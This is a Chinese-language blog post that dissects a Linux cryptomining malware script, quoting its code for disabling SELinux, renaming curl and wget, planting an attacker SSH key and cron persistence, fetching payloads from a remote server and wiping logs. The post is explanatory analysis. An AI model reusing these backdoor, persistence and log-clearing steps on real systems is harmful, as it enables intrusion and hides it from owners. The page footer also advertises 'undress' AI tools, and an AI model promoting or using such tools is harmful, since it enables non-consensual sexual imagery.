code 1
#!/bin/sh
脚本的第一行,看起来是一行注释,但其实并不是。它规定了接下来的脚本,将要采用哪一个SHELL执行。像我们平常用的bash、zsh等,属于sh的超集,这个脚本使用sh作为执行的shell,具有更好的可移植性。
code 2
setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
setenforce是Linux的selinux防火墙配置命令,执行setenforce 0 表示关闭selinux防火墙。2代表的是标准错误(stderr)的意思。因此,可使用重定向符将命令的错误输出重定向到/dev/null设备。这个设备是一个虚拟设备,意思是什么都不干。非常适合静悄悄的干坏事。
code 3
sync && echo 3 >/proc/sys/vm/drop_caches
脚本贴心的帮我们释放了一些内存资源,以便获取更多的资源进行挖矿。
众所周知,Linux系统会随着长时间的运行,会产生很多缓存,清理方式就是写一个数字到drop_caches文件里,这个数字通常为3。执行sync命令后,系统将所有未写入的缓冲区写入磁盘,因此可以安全地释放缓存。
code 4
crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin/cur
没错,上面这些语句就是完成了一些普通的操作。值得注意的是,它把我们的一些常用命令,使用mv命令给重名了。这在执行命令的时候,就会显得分成功能的蛋疼。这脚本已经更改了计算机的一些文件,属于犯罪的范畴了。
脚本为了复用一些功能,抽象出了很多的函数。我们直接跳到main函数的执行,然后看一下这个过程。
code 5
首先是kill_miner_proc函数。代码很长,就不全部贴出来了。
kill_miner_proc() { ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ... pkill -f biosetjenkins pkill -f Loopback ... crontab -r rm -rf /var/spool/cron/*
挖矿领域是一个相爱相杀的领域。这个方法首先使用ps、grep、kill一套组合,干掉了同行的挖矿脚本,然后停掉了同行的cron脚本,黑吃黑的感觉。
在这段脚本里,使用了pkill命令。这个命令会终止进程,并按终端号踢出用户,比较暴力。
code 6
接下来执行的是kill_sus_proc函数。
ps axf -o "pid"|while read procid do ... done
ps加上o参数,可以指定要输出的列,在这里只输出的进程的pid,然后使用read函数,对procid进行遍历操作。
code 7
ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then ... fi
上面就是遍历操作过程了,我们可以看到if语句的语法。其中$?指的是上一个命令的退出状态。0表示没有错误,其他任何值表明有错误。-ne是不等于的意思,意思就是能够匹配到tmp这个字符串。
code 8
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid do ... done
呵呵,上面又来了一次循环遍历。不过这次针对的目标,是cpu使用超过40%的进程。对于阅读过xjjdog的awk分析的同学来说,他们应该非常熟悉这个命令。这就有点狠了:影响我挖矿的进程,都得死!
相煎何太急。
code 9
再接下来,脚本针对不同的用户属性,进行了不同的操作。
首先是root用户。通过判断是否存在$rtdir文件,来确定是否是root权限。
chattr -i /etc/sysupdate* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/networkservice
使用chattr命令将一些关键文件设置为只读属性,限制其随意更改,这确实很严厉。然后,操作cron程序,把脚本的更新服务加入到定时中。
就是下面这段脚本。
code 10
if [ ! -f "/usr/bin/crontab" ] then echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} else [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - fi
注意[[ $cont =~ "update.sh" ]]这以小段代码,怪异的很。在shell中内置的一个命令是[[ ]],它支持字符串模式匹配。=~的使用甚至支持shell的正则表达式,非常强大。它的输出结果是一个bool类型,所以能够使用||进行拼接。
而后面的单小括号 (),是的是一个命令组,括号中多个命令之间用分号隔开,最后一个命令可以没有分号;和`cmd`的效果基本是一样的。
code 11
搞完了定时任务,就要配置ssh自动登录了,通过把公钥追加到信任列表中就可以。
chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/
code 12
说曹操曹操就到,下面的脚本就使用了``进行操作。
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'` if [ "$filesize_config" -ne "$config_size" ] then pkill -f sysupdate rm /etc/config.json downloads $config_url /etc/config.json $config_url_backup else echo "no need download" fi
如果检测到配置文件大小不同,则进行重新下载,这个过程需要进行一系列复杂的操作。这就用到了downloads函数。
shell中的函数,看起来比较怪异,后面的参数传递,就像是脚本传递一样,传送给函数。
code 13
downloads $config_url /etc/config.json $config_url_backup
这句话,就传递了三个参数。
当然,文件要从遥远的服务器上下载。域名是.de结尾的,证明是个德国的域名,其他的我们一无所知。
downloads() { if [ -f "/usr/bin/curl" ] then echo $1,$2 http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then curl --connect-timeout 10 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then curl --connect-timeout 10 --retry 100 $1 > $2 else curl --connect-timeout 10 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/cur" ] then http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then cur --connect-timeout 10 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then cur --connect-timeout 10 --retry 100 $1 > $2 else cur --connect-timeout 10 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/wget" ] then wget --timeout=10 --tries=100 -O $2 $1 if [ $? -ne 0 ] then wget --timeout=10 --tries=100 -O $2 $3 fi elif [ -f "/usr/bin/wge" ] then wge --timeout=10 --tries=100 -O $2 $1 if [ $? -eq 0 ] then wge --timeout=10 --tries=100 -O $2 $3 fi fi }
我觉得这段代码作者的水平没有得到很好的体现,代码写得又臭又长。应该是赶工期,没有想好代码的复用,才会写的这么有失水准。
我们上面说到,脚本改了几个命令的名字,其中就有curl。这个命令是如此的强大,以至于脚本的作者都忍不住加了不少参数。
-I 是用来测试http头信息
-m 设置最大传输时间
-o 指定保持的文件名。这里是/dev/null,呃呃呃
-s 静默模式。不输出任何东西
--connect-timeout 连接超时时间
--retry 重试次数,好狠100次
如果没有curl?那就使用替补的wget,套路都是一样的。
code 14
接下来是一系列相似的操作,最后,对iptables一批操作。
iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -I INPUT -s 43.245.222.57 -j DROP service iptables reload
code 15
细心的脚本编写者,还使用命令清理了操作日志。
history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history
The above is the detailed content of What are the scripting methods for Linux?. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

mPDF
mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

DVWA
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

MinGW - Minimalist GNU for Windows
This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

Dreamweaver CS6
Visual web development tools
